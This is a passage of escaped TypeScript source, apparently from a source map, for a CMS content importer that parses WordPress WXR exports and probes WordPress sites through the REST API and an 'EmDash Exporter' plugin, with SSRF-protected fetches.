navMenus.length > 0 ? navMenus : undefined,\n\t\tcustomTaxonomies: customTaxonomies.length > 0 ? customTaxonomies : undefined,\n\t\treusableBlocks: reusableBlocks.length > 0 ? reusableBlocks : undefined,\n\t\tcustomFields,\n\t};\n}\n\n/**\n * Convert a WXR post to a normalized item\n */\nfunction wxrPostToNormalizedItem(\n\tpost: WxrPost,\n\tattachmentMap: Map<string, string>,\n): NormalizedItem {\n\tconst content = post.content ? gutenbergToPortableText(post.content) : [];\n\n\t// Resolve featured image: _thumbnail_id is the attachment ID, look up the URL\n\tconst thumbnailId = post.meta.get(\"_thumbnail_id\");\n\tconst featuredImage = thumbnailId ? attachmentMap.get(String(thumbnailId)) : undefined;\n\n\t// Convert custom taxonomies Map to Record\n\tlet customTaxonomies: Record<string, string[]> | undefined;\n\tif (post.customTaxonomies && post.customTaxonomies.size > 0) {\n\t\tcustomTaxonomies = Object.fromEntries(post.customTaxonomies);\n\t}\n\n\treturn {\n\t\tsourceId: post.id || 0,\n\t\tpostType: post.postType || \"post\",\n\t\tstatus: mapWpStatus(post.status),\n\t\tslug: post.postName || slugify(post.title || `post-${post.id || Date.now()}`),\n\t\ttitle: post.title || \"Untitled\",\n\t\tcontent,\n\t\texcerpt: post.excerpt,\n\t\tdate: parseWxrDate(post.postDateGmt, post.pubDate, post.postDate) ?? new Date(),\n\t\tmodified: parseWxrDate(post.postModifiedGmt, undefined, post.postModified),\n\t\tauthor: post.creator,\n\t\tcategories: post.categories,\n\t\ttags: post.tags,\n\t\tmeta: Object.fromEntries(post.meta),\n\t\tfeaturedImage,\n\t\t// Hierarchical content support\n\t\tparentId: post.postParent && post.postParent !== 0 ? post.postParent : undefined,\n\t\tmenuOrder: post.menuOrder,\n\t\t// Custom taxonomy assignments\n\t\tcustomTaxonomies,\n\t};\n}\n\n/**\n * WordPress uses \"0000-00-00 00:00:00\" as a sentinel for missing GMT dates\n * (e.g. unpublished drafts). This must be treated as absent.\n */\nexport const WXR_ZERO_DATE = \"0000-00-00 00:00:00\";\n\n/**\n * Parse a WXR date with the correct fallback chain:\n * 1. GMT date (always UTC, most reliable)\n * 2. pubDate (RFC 2822, includes timezone offset)\n * 3. Site-local date (MySQL datetime without timezone, imprecise but best available)\n *\n * Returns undefined when none of the inputs yield a valid date.\n * Callers that need a guaranteed Date should use `?? new Date()`.\n */\nexport function parseWxrDate(\n\tgmtDate: string | undefined,\n\tpubDate: string | undefined,\n\tlocalDate: string | undefined,\n): Date | undefined {\n\tif (gmtDate && gmtDate !== WXR_ZERO_DATE) {\n\t\t// GMT dates from WordPress are \"YYYY-MM-DD HH:MM:SS\" in UTC.\n\t\t// Append \"Z\" so the JS Date constructor treats them as UTC.\n\t\treturn new Date(gmtDate.replace(\" \", \"T\") + \"Z\");\n\t}\n\n\tif (pubDate) {\n\t\t// RFC 2822 format includes timezone offset, JS Date parses it correctly\n\t\tconst d = new Date(pubDate);\n\t\tif (!isNaN(d.getTime())) return d;\n\t}\n\n\tif (localDate) {\n\t\t// Site-local time without timezone. Normalize to ISO-like form so\n\t\t// runtimes that reject \"YYYY-MM-DD HH:MM:SS\" can still parse it as\n\t\t// local time. If parsing still fails, return undefined.\n\t\tconst d = new Date(localDate.replace(\" \", \"T\"));\n\t\tif (!isNaN(d.getTime())) return d;\n\t}\n\n\treturn undefined;\n}\n\n// Export for use in other sources\nexport { analyzeWxrData, wxrPostToNormalizedItem };\n\n// Re-export shared utilities that other sources may need\nexport {\n\tBASE_REQUIRED_FIELDS,\n\tFEATURED_IMAGE_FIELD,\n\tmapPostTypeToCollection,\n\tisInternalPostType,\n\tcheckSchemaCompatibility,\n} from \"../utils.js\";\n","/**\n * WordPress REST API probe\n *\n * Probes self-hosted WordPress sites to detect capabilities.\n * This source is probe-only - it tells users what's available\n * and suggests next steps (usually: upload WXR file).\n */\n\nimport { ssrfSafeFetch, validateExternalUrl } from \"../ssrf.js\";\nimport type {\n\tImportSource,\n\tImportAnalysis,\n\tImportContext,\n\tSourceInput,\n\tSourceProbeResult,\n\tFetchOptions,\n\tNormalizedItem,\n} from \"../types.js\";\n\nconst TRAILING_SLASHES = /\\/+$/;\nconst WP_JSON_SUFFIX = /\\/wp-json\\/?$/;\n\n/** WordPress REST API discovery response */\ninterface WpApiDiscovery {\n\tname?: string;\n\tdescription?: string;\n\turl?: string;\n\thome?: string;\n\tgmt_offset?: number;\n\ttimezone_string?: string;\n\tnamespaces?: string[];\n\tauthentication?: Record<string, unknown>;\n\troutes?: Record<string, unknown>;\n}\n\nexport const wordpressRestSource: ImportSource = {\n\tid: \"wordpress-rest\",\n\tname: \"WordPress Site\",\n\tdescription: \"Connect to a self-hosted WordPress site\",\n\ticon: \"globe\",\n\trequiresFile: false,\n\tcanProbe: true,\n\n\tasync probe(url: string): Promise<SourceProbeResult | null> {\n\t\ttry {\n\t\t\tconst siteUrl = normalizeUrl(url);\n\n\t\t\t// SSRF protection: validate URL before any outbound requests\n\t\t\tvalidateExternalUrl(siteUrl);\n\n\t\t\t// Try to fetch the WP REST API root\n\t\t\tconst apiUrl = `${siteUrl}/wp-json/`;\n\t\t\tconst response = await ssrfSafeFetch(apiUrl, {\n\t\t\t\theaders: { Accept: \"application/json\" },\n\t\t\t\tsignal: AbortSignal.timeout(10000),\n\t\t\t});\n\n\t\t\tif (!response.ok) {\n\t\t\t\t// Try alternate location (some sites use different prefix)\n\t\t\t\tconst altResponse = await ssrfSafeFetch(`${siteUrl}/?rest_route=/`, {\n\t\t\t\t\theaders: { Accept: \"application/json\" },\n\t\t\t\t\tsignal: AbortSignal.timeout(10000),\n\t\t\t\t});\n\n\t\t\t\tif (!altResponse.ok) {\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tconst data: WpApiDiscovery = await response.json();\n\n\t\t\t// Check if this looks like WordPress\n\t\t\tif (!data.namespaces?.includes(\"wp/v2\")) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t// Get content counts (unauthenticated - published only)\n\t\t\tconst preview = await getPublicContentCounts(siteUrl);\n\n\t\t\t// Check for authentication methods\n\t\t\tconst hasAppPasswords = !!data.authentication?.[\"application-passwords\"];\n\n\t\t\treturn {\n\t\t\t\tsourceId: \"wordpress-rest\",\n\t\t\t\tconfidence: \"definite\",\n\t\t\t\tdetected: {\n\t\t\t\t\tplatform: \"wordpress\",\n\t\t\t\t\tsiteTitle: data.name,\n\t\t\t\t\tsiteUrl: data.url || data.home || siteUrl,\n\t\t\t\t},\n\t\t\t\tcapabilities: {\n\t\t\t\t\tpublicContent: true,\n\t\t\t\t\tprivateContent: false, // Would need auth\n\t\t\t\t\tcustomPostTypes: false, // Only if show_in_rest: true\n\t\t\t\t\tallMeta: false, // Only if registered for REST\n\t\t\t\t\tmediaStream: true,\n\t\t\t\t},\n\t\t\t\tauth: hasAppPasswords\n\t\t\t\t\t? {\n\t\t\t\t\t\t\ttype: \"password\",\n\t\t\t\t\t\t\tinstructions:\n\t\t\t\t\t\t\t\t\"To import drafts and private content, create an Application Password in WordPress → Users → Your Profile → Application Passwords\",\n\t\t\t\t\t\t}\n\t\t\t\t\t: undefined,\n\t\t\t\tpreview,\n\t\t\t\tsuggestedAction: {\n\t\t\t\t\ttype: \"upload\",\n\t\t\t\t\tinstructions:\n\t\t\t\t\t\t\"For a complete import including drafts, custom post types, and all metadata, export your content from WordPress (Tools → Export) and upload the file here.\",\n\t\t\t\t},\n\t\t\t};\n\t\t} catch {\n\t\t\t// Probe failed - not a WordPress site or not accessible\n\t\t\treturn null;\n\t\t}\n\t},\n\n\tasync analyze(_input: SourceInput, _context: ImportContext): Promise<ImportAnalysis> {\n\t\t// REST-only import not implemented - we use this for probe only\n\t\t// and suggest WXR upload for actual import\n\t\tthrow new Error(\"Direct REST API import not implemented. Please upload a WXR export file.\");\n\t},\n\n\t// eslint-disable-next-line require-yield\n\tasync *fetchContent(_input: SourceInput, _options: FetchOptions): AsyncGenerator<NormalizedItem> {\n\t\tthrow new Error(\"Direct REST API import not implemented. Please upload a WXR export file.\");\n\t},\n};\n\n/**\n * Normalize a URL for API requests\n */\nfunction normalizeUrl(url: string): string {\n\tlet normalized = url.trim();\n\n\t// Add protocol if missing\n\tif (!normalized.startsWith(\"http\")) {\n\t\tnormalized = `https://${normalized}`;\n\t}\n\n\t// Remove trailing slash\n\tnormalized = normalized.replace(TRAILING_SLASHES, \"\");\n\n\t// Remove /wp-json if included\n\tnormalized = normalized.replace(WP_JSON_SUFFIX, \"\");\n\n\treturn normalized;\n}\n\n/**\n * Get public content counts from REST API\n */\nasync function getPublicContentCounts(\n\tsiteUrl: string,\n): Promise<{ posts?: number; pages?: number; media?: number }> {\n\tconst result: { posts?: number; pages?: number; media?: number } = {};\n\n\ttry {\n\t\t// Fetch with per_page=1 to get total from headers\n\t\tconst [postsRes, pagesRes, mediaRes] = await Promise.allSettled([\n\t\t\tssrfSafeFetch(`${siteUrl}/wp-json/wp/v2/posts?per_page=1`, {\n\t\t\t\tsignal: AbortSignal.timeout(5000),\n\t\t\t}),\n\t\t\tssrfSafeFetch(`${siteUrl}/wp-json/wp/v2/pages?per_page=1`, {\n\t\t\t\tsignal: AbortSignal.timeout(5000),\n\t\t\t}),\n\t\t\tssrfSafeFetch(`${siteUrl}/wp-json/wp/v2/media?per_page=1`, {\n\t\t\t\tsignal: AbortSignal.timeout(5000),\n\t\t\t}),\n\t\t]);\n\n\t\tif (postsRes.status === \"fulfilled\" && postsRes.value.ok) {\n\t\t\tconst total = postsRes.value.headers.get(\"X-WP-Total\");\n\t\t\tif (total) result.posts = parseInt(total, 10);\n\t\t}\n\n\t\tif (pagesRes.status === \"fulfilled\" && pagesRes.value.ok) {\n\t\t\tconst total = pagesRes.value.headers.get(\"X-WP-Total\");\n\t\t\tif (total) result.pages = parseInt(total, 10);\n\t\t}\n\n\t\tif (mediaRes.status === \"fulfilled\" && mediaRes.value.ok) {\n\t\t\tconst total = mediaRes.value.headers.get(\"X-WP-Total\");\n\t\t\tif (total) result.media = parseInt(total, 10);\n\t\t}\n\t} catch {\n\t\t// Counts are optional, continue without them\n\t}\n\n\treturn result;\n}\n","/**\n * WordPress Plugin (EmDash Exporter) import source\n *\n * Connects to self-hosted WordPress sites running the EmDash Exporter plugin.\n * Provides full access to all content including drafts, custom post types, and ACF fields.\n */\n\nimport { gutenbergToPortableText } from \"@emdash-cms/gutenberg-to-portable-text\";\n\nimport { encodeBase64 } from \"../../utils/base64.js\";\nimport { ssrfSafeFetch, validateExternalUrl } from \"../ssrf.js\";\nimport type {\n\tImportSource,\n\tImportAnalysis,\n\tImportContext,\n\tSourceInput,\n\tSourceProbeResult,\n\tI18nDetection,\n\tFetchOptions,\n\tNormalizedItem,\n\tPostTypeAnalysis,\n\tAttachmentInfo,\n} from \"../types.js\";\nimport {\n\tBASE_REQUIRED_FIELDS,\n\tFEATURED_IMAGE_FIELD,\n\tmapPostTypeToCollection,\n\tmapWpStatus,\n\tnormalizeUrl,\n\tcheckSchemaCompatibility,\n} from \"../utils.js\";\n\n// =============================================================================\n// API Response Types\n// =============================================================================\n\n/** Detected i18n plugin info from the WordPress site */\ninterface PluginI18nInfo {\n\t/** Which multilingual plugin is active */\n\tplugin: \"wpml\" | \"polylang\";\n\t/** BCP 47 default locale */\n\tdefault_locale: string;\n\t/** All configured locales */\n\tlocales: string[];\n}\n\n/** Probe response from /emdash/v1/probe */\ninterface PluginProbeResponse {\n\temdash_exporter: string;\n\twordpress_version: string;\n\tsite: {\n\t\ttitle: string;\n\t\tdescription: string;\n\t\turl: string;\n\t\thome: string;\n\t\tlanguage: string;\n\t\ttimezone: string;\n\t};\n\tcapabilities: {\n\t\tapplication_passwords: boolean;\n\t\tacf: boolean;\n\t\tyoast: boolean;\n\t\trankmath: boolean;\n\t};\n\tpost_types: Array<{\n\t\tname: string;\n\t\tlabel: string;\n\t\tcount: number;\n\t}>;\n\tmedia_count: number;\n\tendpoints: Record<string, string>;\n\tauth_instructions: {\n\t\tmethod: string;\n\t\tinstructions: string;\n\t\turl?: string;\n\t};\n\t/** Detected multilingual plugin (WPML or Polylang). Absent when neither is active. */\n\ti18n?: PluginI18nInfo;\n}\n\n/** Analyze response from /emdash/v1/analyze */\ninterface PluginAnalyzeResponse {\n\tsite: {\n\t\ttitle: string;\n\t\turl: string;\n\t};\n\tpost_types: Array<{\n\t\tname: string;\n\t\tlabel: string;\n\t\tlabel_singular: string;\n\t\ttotal: number;\n\t\tby_status: Record<string, number>;\n\t\tsupports: Record<string, unknown>;\n\t\ttaxonomies: string[];\n\t\tcustom_fields: Array<{\n\t\t\tkey: string;\n\t\t\tcount: number;\n\t\t\tinferred_type: string;\n\t\t\tsample: string | null;\n\t\t}>;\n\t\thierarchical: boolean;\n\t\thas_archive: boolean;\n\t}>;\n\ttaxonomies: Array<{\n\t\tname: string;\n\t\tlabel: string;\n\t\thierarchical: boolean;\n\t\tterm_count: number;\n\t\tobject_types: string[];\n\t}>;\n\tauthors: Array<{\n\t\tid: number;\n\t\tlogin: string;\n\t\temail: string;\n\t\tdisplay_name: string;\n\t\tpost_count: number;\n\t}>;\n\tattachments: {\n\t\tcount: number;\n\t\tby_type: Record<string, number>;\n\t};\n\tacf?: Array<{\n\t\tkey: string;\n\t\ttitle: string;\n\t\tfields: Array<{\n\t\t\tkey: string;\n\t\t\tname: string;\n\t\t\tlabel: string;\n\t\t\ttype: string;\n\t\t\trequired: boolean;\n\t\t}>;\n\t}>;\n\t/** Detected multilingual plugin (WPML or Polylang). Absent when neither is active. */\n\ti18n?: PluginI18nInfo;\n}\n\n/** Content response from /emdash/v1/content */\ninterface PluginContentResponse {\n\titems: PluginPost[];\n\ttotal: number;\n\tpages: number;\n\tpage: number;\n\tper_page: number;\n}\n\n/** Single post from plugin API */\ninterface PluginPost {\n\tid: number;\n\tpost_type: string;\n\tstatus: string;\n\tslug: string;\n\ttitle: string;\n\tcontent: string;\n\texcerpt: string;\n\tdate: string;\n\tdate_gmt: string;\n\tmodified: string;\n\tmodified_gmt: string;\n\tauthor: {\n\t\tid: number;\n\t\tlogin: string;\n\t\temail: string;\n\t\tdisplay_name: string;\n\t} | null;\n\tparent: number | null;\n\tmenu_order: number;\n\ttaxonomies: Record<string, Array<{ id: number; name: string; slug: string }>>;\n\tfeatured_image?: {\n\t\tid: number;\n\t\turl: string;\n\t\tfilename: string;\n\t\tmime_type: string;\n\t\talt: string;\n\t\ttitle: string;\n\t\tcaption: string;\n\t\twidth: number | null;\n\t\theight: number | null;\n\t};\n\tmeta: Record<string, unknown>;\n\tacf?: Record<string, unknown>;\n\tyoast?: Record<string, string>;\n\trankmath?: Record<string, string>;\n\t/** BCP 47 locale from WPML/Polylang (when detected) */\n\tlocale?: string;\n\t/** Translation group ID from WPML trid or Polylang (when detected) */\n\ttranslation_group?: string;\n}\n\n/** Media response from /emdash/v1/media */\ninterface PluginMediaResponse {\n\titems: PluginMediaItem[];\n\ttotal: number;\n\tpages: number;\n\tpage: number;\n\tper_page: number;\n}\n\ninterface PluginMediaItem {\n\tid: number;\n\turl: string;\n\tfilename: string;\n\tmime_type: string;\n\ttitle: string;\n\talt: string;\n\tcaption: string;\n\tdescription: string;\n\twidth?: number;\n\theight?: number;\n\tfilesize?: number;\n}\n\n// =============================================================================\n// Constants\n// =============================================================================\n\n/** Pattern to remove spaces from application passwords */\nconst SPACE_PATTERN = /\\s/g;\n\n// =============================================================================\n// Import Source\n// =============================================================================\n\nexport const wordpressPluginSource: ImportSource = {\n\tid: \"wordpress-plugin\",\n\tname: \"WordPress (EmDash Exporter)\",\n\tdescription: \"Import from WordPress sites with the EmDash Exporter plugin installed\",\n\ticon: \"plug\",\n\trequiresFile: false,\n\tcanProbe: true,\n\n\tasync probe(url: string): Promise<SourceProbeResult | null> {\n\t\ttry {\n\t\t\tconst siteUrl = normalizeUrl(url);\n\n\t\t\t// SSRF protection: validate URL before any outbound requests\n\t\t\tvalidateExternalUrl(siteUrl);\n\n\t\t\tconst probeUrl = `${siteUrl}/wp-json/emdash/v1/probe`;\n\n\t\t\tconst response = await ssrfSafeFetch(probeUrl, {\n\t\t\t\theaders: { Accept: \"application/json\" },\n\t\t\t\tsignal: AbortSignal.timeout(10000),\n\t\t\t});\n\n\t\t\tif (!response.ok) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\tconst data: PluginProbeResponse = await response.json();\n\n\t\t\t// Verify it's actually our plugin\n\t\t\tif (!data.emdash_exporter) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\treturn {\n\t\t\t\tsourceId: \"wordpress-plugin\",\n\t\t\t\tconfidence: \"definite\",\n\t\t\t\tdetected: {\n\t\t\t\t\tplatform: \"wordpress\",\n\t\t\t\t\tversion: data.wordpress_version,\n\t\t\t\t\tsiteTitle: data.site.title,\n\t\t\t\t\tsiteUrl: data.site.url,\n\t\t\t\t},\n\t\t\t\tcapabilities: {\n\t\t\t\t\tpublicContent: true,\n\t\t\t\t\tprivateContent: true, // Full access with auth\n\t\t\t\t\tcustomPostTypes: true,\n\t\t\t\t\tallMeta: true,\n\t\t\t\t\tmediaStream: true,\n\t\t\t\t},\n\t\t\t\tauth: data.capabilities.application_passwords\n\t\t\t\t\t? {\n\t\t\t\t\t\t\ttype: \"password\",\n\t\t\t\t\t\t\tinstructions: data.auth_instructions.instructions,\n\t\t\t\t\t\t}\n\t\t\t\t\t: undefined,\n\t\t\t\tpreview: {\n\t\t\t\t\tposts: data.post_types.find((p) => p.name === \"post\")?.count,\n\t\t\t\t\tpages: data.post_types.find((p) => p.name === \"page\")?.count,\n\t\t\t\t\tmedia: data.media_count,\n\t\t\t\t},\n\t\t\t\tsuggestedAction: {\n\t\t\t\t\ttype: \"proceed\",\n\t\t\t\t},\n\t\t\t\ti18n: pluginI18nToDetection(data.i18n),\n\t\t\t};\n\t\t} catch {\n\t\t\treturn null;\n\t\t}\n\t},\n\n\tasync analyze(input: SourceInput, context: ImportContext): Promise<ImportAnalysis> {\n\t\tconst { siteUrl, headers } = getRequestConfig(input);\n\n\t\tconst response = await ssrfSafeFetch(`${siteUrl}/wp-json/emdash/v1/analyze`, {\n\t\t\theaders,\n\t\t\tsignal: AbortSignal.timeout(30000),\n\t\t});\n\n\t\tif (!response.ok) {\n\t\t\tconst error = await response.json().catch(() => ({}));\n\t\t\tthrow new Error(error.message || `Failed to analyze site: ${response.statusText}`);\n\t\t}\n\n\t\tconst data: PluginAnalyzeResponse = await response.json();\n\n\t\t// Get existing collections for schema check\n\t\tconst existingCollections = context.getExistingCollections\n\t\t\t? await context.getExistingCollections()\n\t\t\t: new Map();\n\n\t\t// Build post type analysis\n\t\tconst postTypes: PostTypeAnalysis[] = data.post_types\n\t\t\t.filter((pt) => pt.total > 0)\n\t\t\t.map((pt) => {\n\t\t\t\tconst suggestedCollection = mapPostTypeToCollection(pt.name);\n\t\t\t\tconst existingCollection = existingCollections.get(suggestedCollection);\n\n\t\t\t\t// Include featured_image if post type supports thumbnails\n\t\t\t\tconst supportsThumbnail = pt.supports && \"thumbnail\" in pt.supports;\n\t\t\t\tconst requiredFields = supportsThumbnail\n\t\t\t\t\t? [...BASE_REQUIRED_FIELDS, FEATURED_IMAGE_FIELD]\n\t\t\t\t\t: [...BASE_REQUIRED_FIELDS];\n\n\t\t\t\treturn {\n\t\t\t\t\tname: pt.name,\n\t\t\t\t\tcount: pt.total,\n\t\t\t\t\tsuggestedCollection,\n\t\t\t\t\trequiredFields,\n\t\t\t\t\tschemaStatus: checkSchemaCompatibility(requiredFields, existingCollection),\n\t\t\t\t};\n\t\t\t});\n\n\t\t// Fetch media list for attachment info\n\t\tconst attachments: AttachmentInfo[] = [];\n\t\tif (data.attachments.count > 0) {\n\t\t\ttry {\n\t\t\t\t// Fetch first page of media to populate attachment info\n\t\t\t\tconst mediaResponse = await ssrfSafeFetch(\n\t\t\t\t\t`${siteUrl}/wp-json/emdash/v1/media?per_page=500`,\n\t\t\t\t\t{\n\t\t\t\t\t\theaders,\n\t\t\t\t\t\tsignal: AbortSignal.timeout(30000),\n\t\t\t\t\t},\n\t\t\t\t);\n\t\t\t\tif (mediaResponse.ok) {\n\t\t\t\t\tconst mediaData: PluginMediaResponse = await mediaResponse.json();\n\t\t\t\t\tfor (const item of mediaData.items) {\n\t\t\t\t\t\tattachments.push({\n\t\t\t\t\t\t\tid: item.id,\n\t\t\t\t\t\t\turl: item.url,\n\t\t\t\t\t\t\tfilename: item.filename,\n\t\t\t\t\t\t\tmimeType: item.mime_type,\n\t\t\t\t\t\t\ttitle: item.title,\n\t\t\t\t\t\t\talt: item.alt,\n\t\t\t\t\t\t\tcaption: item.caption,\n\t\t\t\t\t\t\twidth: item.width,\n\t\t\t\t\t\t\theight: item.height,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch (e) {\n\t\t\t\tconsole.warn(\"Failed to fetch media list:\", e);\n\t\t\t}\n\t\t}\n\n\t\t// Count categories and tags\n\t\tconst categoryTaxonomy = data.taxonomies.find((t) => t.name === \"category\");\n\t\tconst tagTaxonomy = data.taxonomies.find((t) => t.name === \"post_tag\");\n\n\t\treturn {\n\t\t\tsourceId: \"wordpress-plugin\",\n\t\t\tsite: {\n\t\t\t\ttitle: data.site.title,\n\t\t\t\turl: data.site.url,\n\t\t\t},\n\t\t\tpostTypes,\n\t\t\tattachments: {\n\t\t\t\tcount: data.attachments.count,\n\t\t\t\titems: attachments,\n\t\t\t},\n\t\t\tcategories: categoryTaxonomy?.term_count ?? 0,\n\t\t\ttags: tagTaxonomy?.term_count ?? 0,\n\t\t\tauthors: data.authors.map((a) => ({\n\t\t\t\tid: a.id,\n\t\t\t\tlogin: a.login,\n\t\t\t\temail: a.email,\n\t\t\t\tdisplayName: a.display_name,\n\t\t\t\tpostCount: a.post_count,\n\t\t\t})),\n\t\t\ti18n: pluginI18nToDetection(data.i18n),\n\t\t};\n\t},\n\n\tasync *fetchContent(input: SourceInput, options: FetchOptions): AsyncGenerator<NormalizedItem> {\n\t\tconst { siteUrl, headers } = getRequestConfig(input);\n\n\t\tfor (const postType of options.postTypes) {\n\t\t\tlet page = 1;\n\t\t\tlet totalPages = 1;\n\t\t\tlet yielded = 0;\n\n\t\t\twhile (page <= totalPages) {\n\t\t\t\tconst status = options.includeDrafts ? \"any\" : \"publish\";\n\t\t\t\tconst url = `${siteUrl}/wp-json/emdash/v1/content?post_type=${postType}&status=${status}&per_page=100&page=${page}`;\n\n\t\t\t\tconst response = await ssrfSafeFetch(url, {\n\t\t\t\t\theaders,\n\t\t\t\t\tsignal: AbortSignal.timeout(60000),\n\t\t\t\t});\n\n\t\t\t\tif (!response.ok) {\n\t\t\t\t\tthrow new Error(`Failed to fetch ${postType}: ${response.statusText}`);\n\t\t\t\t}\n\n\t\t\t\tconst data: PluginContentResponse = await response.json();\n\t\t\t\ttotalPages = data.pages;\n\n\t\t\t\tfor (const post of data.items) {\n\t\t\t\t\tyield pluginPostToNormalizedItem(post);\n\t\t\t\t\tyielded++;\n\n\t\t\t\t\tif (options.limit && yielded >= options.limit) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tpage++;\n\t\t\t}\n\t\t}\n\t},\n\n\tasync fetchMedia(url: string, _input: SourceInput): Promise<Blob> {\n\t\t// SSRF protection: validate media URL before fetching\n\t\tvalidateExternalUrl(url);\n\n\t\t// Media URLs are publicly accessible on WP (ssrfSafeFetch validates redirects)\n\t\tconst response = await ssrfSafeFetch(url);\n\t\tif (!response.ok) {\n\t\t\tthrow new Error(`Failed to fetch media: ${response.statusText}`);\n\t\t}\n\t\treturn response.blob();\n\t},\n};\n\n// =============================================================================\n// Helper Functions\n// =============================================================================\n\n/**\n * Convert plugin i18n info to the shared I18nDetection type.\n * Returns undefined when no multilingual plugin is detected.\n */\nfunction pluginI18nToDetection(i18n: PluginI18nInfo | undefined): I18nDetection | undefined {\n\tif (!i18n) return undefined;\n\treturn {\n\t\tplugin: i18n.plugin,\n\t\tdefaultLocale: i18n.default_locale,\n\t\tlocales: i18n.locales,\n\t};\n}\n\n/**\n * Get request configuration from input\n */\nfunction getRequestConfig(input: SourceInput): {\n\tsiteUrl: string;\n\theaders: HeadersInit;\n} {\n\tif (input.type === \"url\") {\n\t\tconst siteUrl = normalizeUrl(input.url);\n\n\t\t// SSRF protection: validate URL before any outbound requests\n\t\tvalidateExternalUrl(siteUrl);\n\t\tconst headers: HeadersInit = {\n\t\t\tAccept: \"application/json\",\n\t\t};\n\n\t\tif (input.token) {\n\t\t\t// Token format: \"username:password\" base64 encoded\n\t\t\theaders[\"Authorization\"] = `Basic ${input.token}`;\n\t\t}\n\n\t\treturn { siteUrl, headers };\n\t}\n\n\tif (input.type === \"oauth\") {\n\t\tconst oauthSiteUrl = normalizeUrl(input.url);\n\n\t\t// SSRF protection: validate URL before any outbound requests\n\t\tvalidateExternalUrl(oauthSiteUrl);\n\n\t\treturn {\n\t\t\tsiteUrl: oauthSiteUrl,\n\t\t\theaders: {\n\t\t\t\tAccept: \"application/json\",\n\t\t\t\tAuthorization: `Bearer ${input.accessToken}`,\n\t\t\t},\n\t\t};\n\t}\n\n\tthrow new Error(\"WordPress plugin source requires URL or OAuth input\");\n}\n\n/**\n * Convert plugin post to normalized item\n */\nfunction pluginPostToNormalizedItem(post: PluginPost): NormalizedItem {\n\tconst content = post.content ? gutenbergToPortableText(post.content) : [];\n\n\t// Extract categories and tags from taxonomies\n\tconst categories =\n\t\tpost.taxonomies?.category?.map((c) => c.slug) ??\n\t\tpost.taxonomies?.categories?.map((c) => c.slug) ??\n\t\t[];\n\tconst tags =\n\t\tpost.taxonomies?.post_tag?.map((t) => t.slug) ??\n\t\tpost.taxonomies?.tags?.map((t) => t.slug) ??\n\t\t[];\n\n\t// Build meta from various sources\n\tconst meta: Record<string, unknown> = { ...post.meta };\n\n\t// Include ACF fields in meta\n\tif (post.acf) {\n\t\tmeta._acf = post.acf;\n\t}\n\n\t// Include SEO data in meta\n\tif (post.yoast) {\n\t\tmeta._yoast = post.yoast;\n\t}\n\tif (post.rankmath) {\n\t\tmeta._rankmath = post.rankmath;\n\t}\n\n\treturn {\n\t\tsourceId: post.id,\n\t\tpostType: post.post_type,\n\t\tstatus: mapWpStatus(post.status),\n\t\tslug: post.slug,\n\t\ttitle: post.title,\n\t\tcontent,\n\t\texcerpt: post.excerpt || undefined,\n\t\tdate: new Date(post.date_gmt || post.date),\n\t\tmodified: post.modified_gmt ? new Date(post.modified_gmt) : new Date(post.modified),\n\t\tauthor: post.author?.login,\n\t\tcategories,\n\t\ttags,\n\t\tmeta,\n\t\tfeaturedImage: post.featured_image?.url,\n\t\tlocale: post.locale,\n\t\ttranslationGroup: post.translation_group,\n\t};\n}\n\n// =============================================================================\n// Utility Functions for External Use\n// =============================================================================\n\n/**\n * Create a Basic Auth token from username and password\n */\nexport function createBasicAuthToken(username: string, password: string): string {\n\t// Remove spaces from application password (WP formats them with spaces)\n\tconst cleanPassword = password.replace(SPACE_PATTERN, \"\");\n\treturn encodeBase64(`${username}:${cleanPassword}`);\n}\n\n/**\n * Fetch media list from plugin API\n */\nexport async function fetchPluginMedia(\n\tsiteUrl: string,\n\tauthToken: string,\n\tpage = 1,\n\tperPage = 100,\n): Promise<PluginMediaResponse> {\n\tconst normalizedSiteUrl = normalizeUrl(siteUrl);\n\n\t// SSRF protection: validate URL before any outbound requests\n\tvalidateExternalUrl(normalizedSiteUrl);\n\n\tconst url = `${normalizedSiteUrl}/wp-json/emdash/v1/media?per_page=${perPage}&page=${page}`;\n\n\tconst response = await ssrfSafeFetch(url, {\n\t\theaders: {\n\t\t\tAccept: \"application/json\",\n\t\t\tAuthorization: `Basic ${authToken}`,\n\t\t},\n\t});\n\n\tif (!response.ok) {\n\t\tthrow new Error(`Failed to fetch media: ${response.statusText}`);\n\t}\n\n\treturn response.json();\n}\n\n/**\n * Fetch taxonomies from plugin API\n */\nexport async function fetchPluginTaxonomies(\n\tsiteUrl: string,\n\tauthToken: string,\n): Promise<\n\tArray<{\n\t\tname: string;\n\t\tlabel: string;\n\t\thierarchical: boolean;\n\t\tterms: Array<{\n\t\t\tid: number;\n\t\t\tname: string;\n\t\t\tslug: string;\n\t\t\tdescription: string;\n\t\t\tparent: number | null;\n\t\t\tcount: number;\n\t\t}>;\n\t}>\n> {\n\tconst normalizedSiteUrl = normalizeUrl(siteUrl);\n\n\t// SSRF protection: validate URL before any outbound requests\n\tvalidateExternalUrl(normalizedSiteUrl);\n\n\tconst url = `${normalizedSiteUrl}/wp-json/emdash/v1/taxonomies`;\n\n\tconst response = await ssrfSafeFetch(url, {\n\t\theaders: {\n\t\t\tAccept: \"application/json\",\n\t\t\tAuthorization: `Basic ${authToken}`,\n\t\t},\n\t});\n\n\tif (!response.ok) {\n\t\tthrow new Error(`Failed to fetch taxonomies: ${response.statusText}`);\n\t}\n\n\treturn response.json();\n}\n","/**\n * Import system\n *\n * Provides a pluggable system for importing content from various sources.\n */\n\n// Core types\nexport type {\n\tImportSource,\n\tImportAnalysis,\n\tImportContext,\n\tSourceInput,\n\tFileInput,\n\tUrlInput,\n\tOAuthInput,\n\tSourceProbeResult,\n\tProbeResult,\n\tSourceAuth,\n\tSourceCapabilities,\n\tSuggestedAction,\n\tPostTypeAnalysis,\n\tImportFieldDef,\n\tFieldCompatibility,\n\tCollectionSchemaStatus,\n\tAttachmentInfo,\n\tNormalizedItem,\n\tImportConfig,\n\tImportResult,\n\tFetchOptions,\n\tPostTypeMapping,\n\tNavMenuAnalysis,\n\tTaxonomyAnalysis,\n} from \"./types.js\";\n\n// Menu import\nexport 